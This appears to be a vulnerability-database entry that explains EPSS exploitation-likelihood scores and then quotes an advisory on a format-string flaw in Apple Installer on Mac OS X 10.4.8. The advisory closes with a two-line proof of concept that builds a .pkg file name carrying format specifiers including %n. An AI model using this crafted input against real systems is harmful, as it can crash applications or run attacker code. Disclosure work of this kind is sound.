EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/22272/info Apple Installer is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function. A successful attack may crash the application or possibly allow the attacker to execute arbitrary code. This may facilitate unauthorized access or privilege escalation in the context of the user running the application. Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. $ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg $ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg
